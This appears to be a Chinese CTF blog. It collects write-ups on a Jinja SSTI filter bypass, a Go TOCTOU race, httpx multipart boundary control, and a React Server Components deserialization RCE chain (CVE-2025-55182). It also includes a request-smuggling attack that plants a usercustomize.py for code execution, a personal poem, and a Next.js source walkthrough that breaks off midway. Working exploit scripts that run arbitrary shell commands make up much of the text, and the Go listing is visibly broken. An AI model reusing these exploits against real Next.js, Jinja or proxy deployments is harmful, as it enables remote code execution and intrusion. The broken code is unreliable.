{%set rd=(dict(r=x)|join)~(dict(e=x)|join)~(dict(a=x)|join)~(dict(d=x)|join)%}
{%set da=(0-x)|string|first%}
{%set mm=lipsum|attr(glv)|attr(gt)(oo)%}
{%set sl=mm|attr(cwd)()|first%}
{%set cm=__CMD_EXPR__%}
{%print mm|attr(pp)(cm)|attr(rd)()%}
""".strip()
    return template.replace("__CMD_EXPR__", expr)


def extract_stdout(html_text: str) -> str:
    m = re.search(r"Fragment '(.*)' not found in market database\.", html_text, re.S)
    if m:
        return html.unescape(m.group(1))
    return html.unescape(html_text)


def run_cmd(cmd: str):
    init_cookie, init_body = backend_init()
    hack_cookie, hack_body = backend_hack(init_cookie)
    payload = make_payload(cmd)
    result_html = backend_market(hack_cookie, payload)
    result = extract_stdout(result_html)

    print("=" * 80)
    print("[cmd]", cmd)
    print("[initialize]", init_body.strip())
    print("[hack]", hack_body.strip())
    print("[result]")
    print(result)
    print("=" * 80)
    return result


if __name__ == "__main__":
    # 第一次用这个：
    # CMD = "tar -cf /tmp/f /flag"

    # 第二次用这个：
    CMD = "tar -x --to-stdout -f /tmp/f flag"

    run_cmd(CMD)

这里因为在suid程序中有tar，那就将flag解压到可读的目录，直接访问即可。

在这里有个小插曲，也就是在limiter限流器进行审计的时候偶然发现了直接的SQL拼接

也是提交了CVE

好运好状态~~

关于TGCTF2025一题的回顾

Sat, 07 Mar 2026 00:00:00 GMT

关于TGCTF2025一题的回顾

直接上源码

package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"text/template"
	"time"
)

type Note struct {
	Name       string
	ModTime    string
	Size       int64
	IsMarkdown bool
}

var templates = template.Must(template.ParseGlob("templates/*"))

type PageData struct {
	Notes []Note
	Error string
}

// 检查路径是否合法
func blackJack(path string) error {

	if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
		return fmt.Errorf("非法路径")
	}

	return nil
}



// 渲染模板
func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
	safe := templates.ExecuteTemplate(w, tmpl, data)
	if safe != nil {
		http.Error(w, safe.Error(), http.StatusInternalServerError)
	}
}

func renderTmplate(w http.ResponseWriter, tmpl string, data interface{}) {
	safe := templates.ExecutTemplate(w,tnpl,data)

// 渲染错误页面
func renderError(w http.ResponseWriter, message string, code int) {
	w.WriteHeader(code)
	templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
		"Code":    code,
		"Message": message,
	})
}

func main() {
	// 创建 notes 目录
	os.Mkdir("notes", 0755)

	safe := blackJack("/flag")

	// 首页路由
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		files, safe := os.ReadDir("notes")
		if safe != nil {
			renderError(w, "无法读取目录", http.StatusInternalServerError)
			return
		}

		var notes []Note
		for _, f := range files {
			if f.IsDir() {
				continue
			}

			info, _ := f.Info()
			notes = append(notes, Note{
				Name:       f.Name(),
				ModTime:    info.ModTime().Format("2006-01-02 15:04"),
				Size:       info.Size(),
				IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
			})
		}

		renderTemplate(w, "index.html", PageData{Notes: notes})
	})
	
	// 读取笔记路由
	http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get("name")

		if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return
		}

		file, safe := os.Open(filepath.Join("notes", name))
		if safe != nil {
			renderError(w, "文件不存在", http.StatusNotFound)
			return
		}

		data, safe := io.ReadAll(io.LimitReader(file, 10240))
		if safe != nil {
			renderError(w, "读取失败", http.StatusInternalServerError)
			return
		}

		if strings.HasSuffix(name, ".md") {
			w.Header().Set("Content-Type", "text/html")
			fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>`, data)
		} else {
			w.Header().Set("Content-Type", "text/plain")
			w.Write(data)
		}
	})

	// 写入笔记路由
	http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
		if r.Method != "POST" {
			renderError(w, "方法不允许", http.StatusMethodNotAllowed)
			return
		}

		name := r.FormValue("name")
		content := r.FormValue("content")

		if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return
		}

		if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
			name += ".md"
		} else {
			name += ".txt"
		}

		if len(content) > 10240 {
			content = content[:10240]
		}

		safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
		if safe != nil {
			renderError(w, "保存失败", http.StatusInternalServerError)
			return
		}

		http.Redirect(w, r, "/", http.StatusSeeOther)
	})

	// 删除笔记路由
	http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get("name")
		if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return
		}

		safe := os.Remove(filepath.Join("notes", name))
		if safe != nil {
			renderError(w, "删除失败", http.StatusInternalServerError)
			return
		}

		http.Redirect(w, r, "/", http.StatusSeeOther)
	})

	// 静态文件服务
	http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

	// 启动 HTTP 服务器
	srv := &http.Server{
		Addr:         ":9046",
		ReadTimeout:  10 * time.Second,
		WriteTimeout: 15 * time.Second,
	}
	log.Fatal(srv.ListenAndServe())
}

分块讲解，这里定义的就是一个读文件的接口，没什么好说的，但是简单的代码藏坑最明显

但是在讲漏洞点之前有必要学习一下go语言的一些特性并且与其他语言不同的部分

再go的http模块是很鼓励并发的，并且他们也将并发的作用域控制的很好，在海象运算符的局部作用域下是很方便的

但是我们看看这里对于flag路由的鉴权

	if safe = blackJack(name); safe != nil {
		renderError(w, safe.Error(), http.StatusBadRequest)
		return
	}

可以看到这里是=，这是共享的外包变量而不是自己本进程的，也就是说可以进行TOCTOU.于是我们可以进行抢占safe

覆盖之后就可以读出flag了。

偶然探究httpx的easy链子，关于伪造data块的可能性

Fri, 27 Feb 2026 00:00:00 GMT

偶然探究httpx的easy链子，关于伪造data块的可能性

因为一些原因重新去看了一个题的源码，算是时隔好久了

核心在于httpx。正常把库扒下来。接下来跟一根乱七八糟的api和参数

很多时候是因为参数更迭的混乱导致审计的困难，

但是好像随着时间的流逝，这点也慢慢学会了。

有时候就是什么问题就一直想着看源码，忽视了很多搜集信息的渠道

得稍微摆正自己的思维了

简单跟一下源码，来吧

我们先看看最前面的api逻辑。

def request(
    method: str,
    url: URL | str,
    *,
    params: QueryParamTypes | None = None,
    content: RequestContent | None = None,
    data: RequestData | None = None,
    files: RequestFiles | None = None,
    json: typing.Any | None = None,
    headers: HeaderTypes | None = None,
    cookies: CookieTypes | None = None,
    auth: AuthTypes | None = None,
    proxy: ProxyTypes | None = None,
    timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG,
    follow_redirects: bool = False,
    verify: ssl.SSLContext | str | bool = True,
    trust_env: bool = True,
) -> Response:
    """
    Sends an HTTP request.

    **Parameters:**

    * **method** - HTTP method for the new `Request` object: `GET`, `OPTIONS`,
    `HEAD`, `POST`, `PUT`, `PATCH`, or `DELETE`.
    * **url** - URL for the new `Request` object.
    * **params** - *(optional)* Query parameters to include in the URL, as a
    string, dictionary, or sequence of two-tuples.
    * **content** - *(optional)* Binary content to include in the body of the
    request, as bytes or a byte iterator.
    * **data** - *(optional)* Form data to include in the body of the request,
    as a dictionary.
    * **files** - *(optional)* A dictionary of upload files to include in the
    body of the request.
    * **json** - *(optional)* A JSON serializable object to include in the body
    of the request.
    * **headers** - *(optional)* Dictionary of HTTP headers to include in the
    request.
    * **cookies** - *(optional)* Dictionary of Cookie items to include in the
    request.
    * **auth** - *(optional)* An authentication class to use when sending the
    request.
    * **proxy** - *(optional)* A proxy URL where all the traffic should be routed.
    * **timeout** - *(optional)* The timeout configuration to use when sending
    the request.
    * **follow_redirects** - *(optional)* Enables or disables HTTP redirects.
    * **verify** - *(optional)* Either `True` to use an SSL context with the
    default CA bundle, `False` to disable verification, or an instance of
    `ssl.SSLContext` to use a custom context.
    * **trust_env** - *(optional)* Enables or disables usage of environment
    variables for configuration.

    **Returns:** `Response`

    Usage:

    ```
    >>> import httpx
    >>> response = httpx.request('GET', 'https://httpbin.org/get')
    >>> response
    <Response [200 OK]>
    ```
    """
    with Client(
        cookies=cookies,
        proxy=proxy,
        verify=verify,
        timeout=timeout,
        trust_env=trust_env,
    ) as client:
        return client.request(
            method=method,
            url=url,
            content=content,
            data=data,
            files=files,
            json=json,
            params=params,
            headers=headers,
            auth=auth,
            follow_redirects=follow_redirects,
        )

虽然初见参数很多，而且前面到入了其他的模块，先且不论，这里也就是正常规定了一个response

跟着看看client的request方法，接收参数形式倒是默认的

因为接收的参数很多，所以有时候会想多参数引用的边界，参数的规范真的对于代码可读性有非常大的影响

继续跟进

def request(
    self,
    method: str,
    url: URL | str,
    *,
    content: RequestContent | None = None,
    data: RequestData | None = None,
    files: RequestFiles | None = None,
    json: typing.Any | None = None,
    params: QueryParamTypes | None = None,
    headers: HeaderTypes | None = None,
    cookies: CookieTypes | None = None,
    auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT,
    follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT,
    timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT,
    extensions: RequestExtensions | None = None,
) -> Response:
    """
    Build and send a request.

    Equivalent to:

    ```python
    request = client.build_request(...)
    response = client.send(request, ...)
    ```

    See `Client.build_request()`, `Client.send()` and
    [Merging of configuration][0] for how the various parameters
    are merged with client-level configuration.

    [0]: /advanced/clients/#merging-of-configuration
    """
    if cookies is not None:
        message = (
            "Setting per-request cookies=<...> is being deprecated, because "
            "the expected behaviour on cookie persistence is ambiguous. Set "
            "cookies directly on the client instance instead."
        )
        warnings.warn(message, DeprecationWarning, stacklevel=2)

    request = self.build_request(
        method=method,
        url=url,
        content=content,
        data=data,
        files=files,
        json=json,
        params=params,
        headers=headers,
        cookies=cookies,
        timeout=timeout,
        extensions=extensions,
    )
    return self.send(request, auth=auth, follow_redirects=follow_redirects)

没啥都，直接看build_request

def build_request(
    self,
    method: str,
    url: URL | str,
    *,
    content: RequestContent | None = None,
    data: RequestData | None = None,
    files: RequestFiles | None = None,
    json: typing.Any | None = None,
    params: QueryParamTypes | None = None,
    headers: HeaderTypes | None = None,
    cookies: CookieTypes | None = None,
    timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT,
    extensions: RequestExtensions | None = None,
) -> Request:
    """
    Build and return a request instance.

    * The `params`, `headers` and `cookies` arguments
    are merged with any values set on the client.
    * The `url` argument is merged with any `base_url` set on the client.

    See also: [Request instances][0]

    [0]: /advanced/clients/#request-instances
    """
    url = self._merge_url(url)
    headers = self._merge_headers(headers)
    cookies = self._merge_cookies(cookies)
    params = self._merge_queryparams(params)
    extensions = {} if extensions is None else extensions
    if "timeout" not in extensions:
        timeout = (
            self.timeout
            if isinstance(timeout, UseClientDefault)
            else Timeout(timeout)
        )
        extensions = dict(**extensions, timeout=timeout.as_dict())
    return Request(
        method,
        url,
        content=content,
        data=data,
        files=files,
        json=json,
        params=params,
        headers=headers,
        cookies=cookies,
        extensions=extensions,
    )

我们可以看到_merge_queryparams和_merge_cookies，_merge_headers以及_merge_url

可以看到最后的extension，去验证了看看是否有扩展有危险拼入

果然不出所料，没有，继续追踪

class Request:
    def __init__(
        self,
        method: str,
        url: URL | str,
        *,
        params: QueryParamTypes | None = None,
        headers: HeaderTypes | None = None,
        cookies: CookieTypes | None = None,
        content: RequestContent | None = None,
        data: RequestData | None = None,
        files: RequestFiles | None = None,
        json: typing.Any | None = None,
        stream: SyncByteStream | AsyncByteStream | None = None,
        extensions: RequestExtensions | None = None,
    ) -> None:
        self.method = method.upper()
        self.url = URL(url) if params is None else URL(url, params=params)
        self.headers = Headers(headers)
        self.extensions = {} if extensions is None else dict(extensions)

        if cookies:
            Cookies(cookies).set_cookie_header(self)

        if stream is None:
            content_type: str | None = self.headers.get("content-type")
            headers, stream = encode_request(
                content=content,
                data=data,
                files=files,
                json=json,
                boundary=get_multipart_boundary_from_content_type(
                    content_type=content_type.encode(self.headers.encoding)
                    if content_type
                    else None
                ),
            )
            self._prepare(headers)
            self.stream = stream
            # Load the request body, except for streaming content.
            if isinstance(stream, ByteStream):
                self.read()
        else:
            # There's an important distinction between `Request(content=...)`,
            # and `Request(stream=...)`.
            #
            # Using `content=...` implies automatically populated `Host` and content
            # headers, of either `Content-Length: ...` or `Transfer-Encoding: chunked`.
            #
            # Using `stream=...` will not automatically include *any*
            # auto-populated headers.
            #
            # As an end-user you don't really need `stream=...`. It's only
            # useful when:
            #
            # * Preserving the request stream when copying requests, eg for redirects.
            # * Creating request instances on the *server-side* of the transport API.
            self.stream = stream

boundary=get_multipart_boundary_from_content_type( content_type=content_type.encode(self.headers.encoding) if content_type else None

这里的boundary分块可以被ct头指定，也就是说我们可以通过掌控CT头去增加form-data块

然后我们看回题目源码

  action = request.files.get("action")
  act = json.loads(action.stream.read().decode())
  if act["type"] == "echo": 
     return content, 200
  elif act["type"] == "debug":
     return content.format(app), 200
  else:
     return 'unkown action', 400

可以看到读取了form-data的action，注意是file.get

act也就是action的数据流，如果里面的type的key是debug

就直接渲染app的上下文。我们也就是直接把context上下文渲染走format路线

然后后置的路线也就是我们控制了通过拿到了global的apikey，然后

就能访问admin去执行jinjia模板渲染

于是利用传输大于500kb的文件去达到写入临时文件，然后就可以加载jinjia模板了

当然我认为重要的点在前置。

OK了，exp可以在先知社区参考，这里就不放出了

来自bearcatctf国际赛的小小RSC反序列

Sun, 22 Feb 2026 00:00:00 GMT

来自bearcatctf国际赛的小小RSC反序列

在bearcatctf国际赛上又一次撞见了RSC反序列，这次没有waf，这样可以直接进行原型链。

上次aliyun做的题把原型链全ban了，这次的轻松多了

不太像放图片，我就直接口述吧

先放放请求包格式

POST / HTTP/1.1
Host: chal.bearcatctf.io:38270
Content-Length: 471
Next-Action: 3fee78e8995a129cd1c598459b0203a43f700478
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2wGJp2c6AKkFYaS3
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Origin: http://chal.bearcatctf.io:38270
Referer: http://chal.bearcatctf.io:38270/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: userId=016e358a-dc59-4b22-8711-416cc1ab3a6c
Connection: keep-alive

------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name="1_$ACTION_ID_3fee78e8995a129cd1c598459b0203a43f700478"


------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name="1_title"

s
------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name="1_content"

s
------WebKitFormBoundary2wGJp2c6AKkFYaS3
Content-Disposition: form-data; name="0"

["$K1"]
------WebKitFormBoundary2wGJp2c6AKkFYaS3--

next-action的解码上次已经完整走过一次了，只要注意下细节就好了

同样的首先还是要注意chunk块头的解析，也就是以下的规则

0 = 那串json 1 = "$@0" 这时0会被当成对象去进行解析，直接看看chunk块

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then":"$B0"}',
    "_response": {
        "_prefix": JS,
        "_formData": {"get": "$1:constructor:constructor"},
    },
}

这里的then拿到真实object的then方法，status不多说，详情请见我的CVE-2025-55182深度解析

解析value的默认规则贴一下。

 case "B":
            return (
              (obj = parseInt(value.slice(2), 16)),
              response._formData.get(response._prefix + obj)
            );

这里是return response._formData.get(response._prefix + obj)然后obj是0，上文不放出了。

而formdata的get方法已经被劫持了，

$1:constructor:constructor

成了function，所以它默认接收function，然后_prefix被改写成了恶意js，然后就执行了系统命令

贴一贴脚本

import base64, json, re, requests

HOST = "http://chal.bearcatctf.io:38270"
ACTION = "3fee78e8995a129cd1c598459b0203a43f700478"
COOKIES = {"userId": "016e358a-dc59-4b22-8711-416cc1ab3a6c"}
ROUTER_STATE = "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D"

HEADERS = {
    "Accept": "text/x-component",
    "Next-Action": ACTION,
    "Next-Router-State-Tree": ROUTER_STATE,
    "Origin": HOST,
    "Referer": HOST + "/",
}

def make_js(cmd: str) -> str:
    cmd = cmd.replace("\\", "\\\\").replace("'", "\\'")
    return f"""
var cp = process.mainModule.require('child_process');
var out = cp.execSync("sh -lc '{cmd}' 2>&1").toString();
var b = Buffer.from(out,'utf8').toString('base64');
throw Object.assign(new Error('NEXT_REDIRECT'),{{
  digest:'NEXT_REDIRECT;push;/?b='+b+';307;'
}});
""".strip()

def exploit(cmd: str):
    JS = make_js(cmd) + "//"  # 末尾注释吃掉拼接的 0
    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then":"$B0"}',
        "_response": {
            "_prefix": JS,
            "_formData": {"get": "$1:constructor:constructor"},
        },
    }

    files = {
        f"1_$ACTION_ID_{ACTION}": (None, ""),
        "0": (None, json.dumps(crafted_chunk)),
        "1": (None, '"$@0"'),
    }

    r = requests.post(HOST + "/", headers=HEADERS, cookies=COOKIES, files=files, timeout=15)
    text = r.text

    m = re.search(r"/\?b=([A-Za-z0-9+/=]+);307;", text)
    if not m:
        print("[-] no base64 leak found. status =", r.status_code)
        print(text[:1200])
        return None

    out = base64.b64decode(m.group(1)).decode("utf-8", errors="replace")
    print("status =", r.status_code)
    print(out)
    return out

if __name__ == "__main__":
    # 先确认执行环境
    exploit("cat /app/flag.txt")

    # 1) 先看环境变量里有没有 FLAG
    exploit("echo \"FLAG=$FLAG\"; env | grep -i flag || true")

    # 2) 枚举常见目录
    exploit("ls -la /; ls -la /app 2>/dev/null || true; ls -la /srv 2>/dev/null || true; ls -la /home 2>/dev/null || true")

    # 3) 直接搜 flag 文件（限制深度 + head 防止太慢）
    exploit("find / -maxdepth 4 -type f -iname '*flag*' 2>/dev/null | head -n 50")

其实我个人觉得对于初学者来说，RSC牵扯出了很多js的底层知识，还是需要补充的。

就这样吧。

以上~~~

a little Me

Sat, 21 Feb 2026 00:00:00 GMT

a little Me

夜以深。本是安眠的时候.也许这个时候的突然想到了什么吧

还没想好是否要将这篇文档公开，或许，有时。总会使我忆起。

那步履薄冰的人生。

故事有时候开始得让人猝不及防，也许我已经放弃了，也许没有。

可是我实在想不出有什么在使得我继续书写。

也许只有自身维系生命的本能使得我如此欺骗自我吧

不由得有些生气。还有一些，无奈

这样慢慢听着炉子里的火苗跳动

好舒服

这就是欧洲古老的洋馆吗

悲观主义还是一直伴随着我

不论自己选择了什么样的道路

其实，应该消散了

但是，我也许搞错了吧

我和什么，是彼此相连的呢

真的是万维网吗

我尊崇它

但是，我也批驳它

我依然不知自己了

我依然自诩甚高

清楚我从来也不曾拥有什么

同样的

也没人从我这带走什么

但是这是我

别无他法

获得，传播

也许我并不想做什么

我讨厌想来就適当なもの

还没明白什么

自己是什么？

那样的时候早就过去了

虽然但是

再等等吧

再等等

记一次随心审计(From 0xfun esay)

Tue, 17 Feb 2026 00:00:00 GMT

记一次随心审计(From 0xfun esay)

今天是大年初一，不喜欢喧嚣，今天选择在这里审计了一天。不失收获吧

虽然错过了烟花

多审计真感觉能提升一些语言理解，在0xfun有一题白盒，我想这可以开个新档审计审计。

我在想，一切漏洞的先决都是以‘可访问’为最先前提，不管是解析差异或者条件竞争。即便过了一段时间，我依旧这么想。

可控也就是，任何能被外部请求影响的输入源

我选择从路由开始

其中在/departures路由下有js的fetch

@app.get("/departures")
def departures():
    return _page("Departures", '''
<div class="card">
  <h2>Live Departure Board</h2>
  <table id="departures"><thead><tr>
    <th>Flight</th><th>Destination</th><th>Gate</th><th>Scheduled</th><th>Status</th>
  </tr></thead><tbody></tbody></table>
</div>
<script>
fetch("/graphql",{method:"POST",headers:{"Content-Type":"application/json"},
body:JSON.stringify({query:"{flights{flightNumber destination gate scheduled status}}"})})
.then(r=>r.json()).then(d=>{
  if(!d.data||!d.data.flights)return;
  let t=document.querySelector("#departures tbody");
  d.data.flights.forEach(f=>{
    let st=f.status.toLowerCase().replace(" ","");
    t.innerHTML+=`<tr><td><strong>${f.flightNumber}</strong></td><td>${f.destination}</td>
    <td>${f.gate}</td><td>${f.scheduled}</td>
    <td><span class="badge badge-${st.replace("ontime","on-time")}">${f.status}</span></td></tr>`;
  });
});
</script>''')

json块是{query:"{flights{flightNumber destination gate scheduled status}}

进行溯源。

graphql_router = strawberry.fastapi.GraphQLRouter(schema, graphql_ide=None)
app.include_router(graphql_router, prefix="/graphql")

继续查找schema定义

schema = strawberry.Schema(query=GQLQuery, types=[PassengerNode, StaffNode])

可以看到这里规定了query，继续查找

@strawberry.type
class GQLQuery:
    node: Node = strawberry.relay.node()

    @strawberry.field
    def passengers(self) -> List[PassengerNode]:
        return [u for u in USERS.values() if u.role == "passenger"]

    @strawberry.field
    def staff(self) -> List[StaffSummary]:
        return [
            StaffSummary(
                username=u.username,
                full_name=u.full_name,
                badge_id=u.badge_id,
                department=u.department,
            )
            for u in USERS.values() if u.role == "staff"
        ]

    @strawberry.field
    def flights(self) -> List[Flight]:
        return [
            Flight(
                flight_number=f.flight_number,
                destination=f.destination,
                gate=f.gate,
                scheduled=f.scheduled,
                status=f.status,
            )
            for f in FLIGHTS
        ]

可以看到是一个类，提供了多种数据视图。我们默认请求的是def flights(self) -> List[Flight]:

但是query并没有做内网转发，而且还有node()接口暴露。

并且在type对象下还挂载了

@strawberry.type
class StaffNode(Node):
    id: NodeID[int]
    username: str
    full_name: str
    badge_id: Optional[str]
    department: Optional[str]
    access_token: Optional[str]

    @classmethod
    def resolve_node(cls, node_id: str, *, info: Info, **kwargs):
        return USERS.get(int(node_id))

    @classmethod
    def resolve_nodes(cls, *, info: Info, node_ids, required=False):
        return [USERS.get(int(nid)) for nid in node_ids]

    @classmethod
    def is_type_of(cls, obj, info: Info) -> bool:
        return isinstance(obj, UserModel) and obj.role == "staff"

表明user可以被node查询到并且返回。而user2带有access_token=_STAFF_JWT

也就是公钥。并且在jwt校验时并没有严格校验alg，这样就能用HS/RS混淆

payload = jose_jwt.decode(token, RSA_PUBLIC_DER, algorithms=None)

改RSA解密为HS256对称加密就可以用已经泄露公钥进行伪造admin字段

但是网关还是进行了拦截，/internal/*的目录都做了过滤，看看传文件的源码

我们想到请求走私

这一步最关键的是端到端解析差异导致，观察相关源码

EXPOSE 9000，在dockerfile是监听9000端口

然后在strart.sh

exec su -s /bin/bash skyport -c "/app/venv/bin/python3 -m hypercorn /app/app:app --bind 127.0.0.1:5000 --workers 2 --worker-class asyncio --max-requests 100"

内部起服务，转发到5000端口，并且两个解析器不一样

同一条TCP没有经过其他处理，直接转发，尝试请求走私

原先我在burp发包时它重算了length，重载了chunk。所以失败了

来个请求走私可视化

[ Gateway thinks ]
POST /graphql finished

[ Backend thinks ]
POST /graphql finished
POST /internal/upload executed

这时就能让网关以为这是一个请求就能顺利进后端了

当然，这里的转发规则暂时不深入探讨，就当是自定义网关的信任危机吧

传入后后端会判断CT头解析为两个请求，也就进了upload

看看这段源码

def sanitize_filename(filename: str) -> str:
    filename = os.path.basename(filename)
    filename = "".join(c for c in filename if c.isalnum() or c in "._-")
    filename = "".join(c for c in filename if ord(c) >= 32)
    return filename if filename else "upload.bin"

async def save_uploaded_file(file: UploadFile) -> Path:
    filename = file.filename or "upload.bin"
    if filename.startswith("/"):
        destination = Path(filename)
    else:
        safe_name = sanitize_filename(filename)
        destination = UPLOAD_DIR / safe_name
    content = await file.read()
    destination.parent.mkdir(parents=True, exist_ok=True)
    destination.write_bytes(content)
    return destination

@app.post("/internal/upload")
async def upload_file(request: Request, file: UploadFile = File(...)):
    if not _require_admin(request):
        return JSONResponse({"error": "admin token required"}, status_code=401)

    uploaded_path = await save_uploaded_file(file)

    return JSONResponse({
        "message": "uploaded successfully",
        "path": str(uploaded_path)
    })

这里如果/开头就直接创建path并且parent加mkdir落盘。

并且没有任何安全校验。但是我们怎么利用这点是个问题，我们并不能直接启动文件

再看这

exec su -s /bin/bash skyport -c "/app/venv/bin/python3 -m hypercorn /app/app:app --bind 127.0.0.1:5000 --workers 2 --worker-class asyncio --max-requests 100"

每个worker进程每启动100次就会重启，重启的python模块会自动载入 site模块

site模块会尝试import sitecustomize / usercustomize

所以如果写成 usercustomize.py 并且放在 /home/skyport/.local/lib/python3.11/site-packages/usercustomize.py 类似目录就会执行

，然后提供了readflag的suid程序。

直接提权拿到flag。

构建exp

#!/usr/bin/env python3
import socket, time, requests

HOST = "chall.0xfun.org"
PORT = 42507
ADMIN = "ADMIN_TOKEN"


# -------- helpers --------

def recv_until(sock, marker=b"\r\n\r\n"):
    data=b""
    while marker not in data:
        chunk=sock.recv(4096)
        if not chunk: break
        data+=chunk
    return data


def send_request(sock, req):
    sock.sendall(req)
    return recv_until(sock)


# -------- build malicious python --------

payload = b"""
import subprocess, pathlib
pathlib.Path('/tmp/skyport_uploads/flag.txt').write_bytes(subprocess.check_output(['/flag']))
"""

boundary="----sky"

body = (
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="file"; filename="/home/skyport/.local/lib/python3.11/site-packages/usercustomize.py"\r\n'
    f"Content-Type: application/octet-stream\r\n\r\n"
).encode() + payload + f"\r\n--{boundary}--\r\n".encode()


upload_req = (
    f"POST /internal/upload HTTP/1.1\r\n"
    f"Host: {HOST}\r\n"
    f"Authorization: Bearer {ADMIN}\r\n"
    f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
    f"Content-Length: {len(body)}\r\n"
    f"Connection: keep-alive\r\n"
    f"\r\n"
).encode() + body


# CL.TE smuggle
front_body = b"0\r\n\r\n" + upload_req

front_req = (
    f"POST /graphql HTTP/1.1\r\n"
    f"Host: {HOST}\r\n"
    f"Content-Type: application/json\r\n"
    f"Content-Length: {len(front_body)}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: keep-alive\r\n"
    f"\r\n"
).encode() + front_body


# -------- exploit --------

print("[*] connecting")
sock = socket.create_connection((HOST,PORT))

print("[*] sending smuggled upload")
send_request(sock, front_req)

print("[*] poisoning queue")
resp = send_request(sock, f"GET / HTTP/1.1\r\nHost: {HOST}\r\nConnection: keep-alive\r\n\r\n".encode())

if b"uploaded successfully" not in resp:
    print("[-] upload may have failed")
else:
    print("[+] upload confirmed")

sock.close()


# restart workers
print("[*] restarting workers")
for _ in range(180):
    try: requests.get(f"http://{HOST}:{PORT}/",timeout=0.3)
    except: pass


# fetch flag
print("[*] waiting for flag")
for _ in range(30):
    r=requests.get(f"http://{HOST}:{PORT}/uploads/flag.txt")
    if r.status_code==200 and "0xfun{" in r.text:
        print("\nFLAG:",r.text.strip())
        break
    time.sleep(0.5)

CVE-2025-55182深度解析，另一种可能性链子的追溯

Sat, 14 Feb 2026 00:00:00 GMT

CVE-2025-55182深度解析，另一种可能性链子的追溯

跟完了React解析next-action头动作的全逻辑链，网上很少有全链的解析跟进

我算也是，浅浅涉足了一下React吧

1.React框架的next-action初步

业务逻辑的跟进

关于next-action这个头，是一种函数身份的定位，也就是一串hax值，react框架构建以来，每个函数会绑定一串hax，作为标识符.

当然我的审计是从next-action的识别及后续开始的，所以我暂时不会在初步构建以及hax加密这块去做工作。

另外，为了加强文档可读性，我会较多换行。那就 START

if (actionId) {
        const forwardedWorker = (0, _actionutils.selectWorkerForForwarding)(actionId, page, serverActionsManifest);
        // If forwardedWorker is truthy, it means there isn't a worker for the action
        // in the current handler, so we forward the request to a worker that has the action.
        if (forwardedWorker) {
            return {
                type: 'done',
                result: await createForwardedActionResponse(req, res, host, forwardedWorker, ctx.renderOpts.basePath)
            };
        }
    }

其中selectWorkerForForwarding这个函数，溯源之后是.d.ts的声明文档，在同目录下的js文件处找到了源function。

function selectWorkerForForwarding(actionId, pageName, serverActionsManifest) {
    var _serverActionsManifest__actionId;
    const workers = (_serverActionsManifest__actionId = serverActionsManifest[process.env.NEXT_RUNTIME === 'edge' ? 'edge' : 'node'][actionId]) == null ? void 0 : _serverActionsManifest__actionId.workers;
    const workerName = normalizeWorkerPageName(pageName);
    // no workers, nothing to forward to
    if (!workers) return;
    // if there is a worker for this page, no need to forward it.
    if (workers[workerName]) {
        return;
    }
    // otherwise, grab the first worker that has a handler for this action id
    return denormalizeWorkerPageName(Object.keys(workers)[0]);
}

这里的serverActionManifest参数类似一张actionid和worker进程的对应表单，下面就是return，其中denormalizeWorkerPagename是返回转发路径的。

也就是说，serverActionsManifest的action匹配的workers值被赋值给workers，然后denormalizeWorkerPageName将所有对应的workers的路径返回。

*/ function denormalizeWorkerPageName(bundlePath) {
    return (0, _apppaths.normalizeAppPath)((0, _removepathprefix.removePathPrefix)(bundlePath, 'app'));
}

接下来就是1返回的createForwardedActionResponse，简化的最终请求就是

const response = await fetch(fetchUrl, {
            method: 'POST',
            body,
            duplex: 'half',
            headers: forwardedHeaders,
            redirect: 'manual',
            next: {
                // @ts-ignore
                internal: 1
            }
        });

body经过strearm之后可以分块读取数据，body是我们的req，headers是扒res的cookie之类的字段送过去

const forwardedHeaders = getForwardedHeaders(req, res);

